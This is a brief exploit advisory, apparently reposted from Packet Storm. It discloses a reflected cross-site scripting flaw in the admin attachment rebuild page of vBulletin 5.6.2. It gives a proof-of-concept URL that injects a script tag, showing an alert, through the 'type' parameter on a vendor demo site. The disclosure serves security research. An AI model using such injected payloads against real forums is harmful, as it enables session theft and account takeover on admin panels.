vBulletin 5.6.2 Cross Site Scripting

vBulletin version 5.6.2 suffers from a cross site scripting vulnerability.


MD5 | 1b6668ec0a558c0fd5cc39154cc3d71d

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# Exploit Title: vBulletin 5.6.2  Cross Site Scripting
# Date:12.08.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://www.vbulletin.com/en/features/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest-vincent.blogspot.com/
# PoC: https://pentest-vincent.blogspot.com/2020/08/cross-site-scripting-in-vbulletin-ver.html

So..

We have a cross site scripting in the vBulletin 5.6.2

PoC:

I use demo admin panel for test.

Our vuln link :

https://6696f1715188-041313.demo.vbulletin.net/admincp/attachment.php&do=rebuild&type=[our xss is here]

Full link with code:

 https://6696f1715188-041313.demo.vbulletin.net/admincp/attachment.php&do=rebuild&type=%22%22%3E%3Cscript%3Ealert(%22cross%20site%20scripting%20%22)%3C/script%3E

Picture:

https://imgur.com/a/OicFHyA

Source: packetstormsecurity.com
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